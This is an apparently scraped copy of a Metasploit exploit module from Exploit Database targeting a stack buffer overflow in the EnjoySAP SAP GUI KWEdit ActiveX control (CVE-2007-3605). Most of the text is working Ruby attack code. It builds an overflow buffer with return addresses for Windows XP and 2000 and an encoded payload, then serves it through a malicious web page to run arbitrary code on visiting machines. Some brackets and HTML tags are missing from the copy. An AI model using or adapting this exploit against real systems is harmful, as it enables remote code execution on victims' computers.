EnjoySAP SAP GUI – ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
122 阅读

作者： Metasploit

日期： 2010-06-15
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16498/

# $Id: enjoysapgui_preparetoposthtml.rb 9525 2010-06-15 07:18:08Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'EnjoySAP SAP GUI ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in SAP KWEdit ActiveX

Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending

an overly long string to the "PrepareToPostHTML()" method, an attacker

may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 9525 $',

'References' =>

[

[ 'CVE', '2007-3605' ],

[ 'OSVDB', '37690' ],

[ 'BID', '24772' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 800,

'BadChars'=> "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],

[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],

'DisclosureDate' => 'Jul 05 2007',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things

vname = rand_text_alpha(rand(100) + 1)

strname = rand_text_alpha(rand(100) + 1)

# Build the exploit buffer

sploit =rand_text_alpha(1036) + Rex::Arch::X86.jmp_short(6)

sploit << make_nops(2) + [target.ret].pack('V') + p.encoded

# Build out the message

content = %Q|<html>

#{strname} = new String('#{sploit}')

#{vname}.PrepareToPostHTML(#{strname})

</script>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end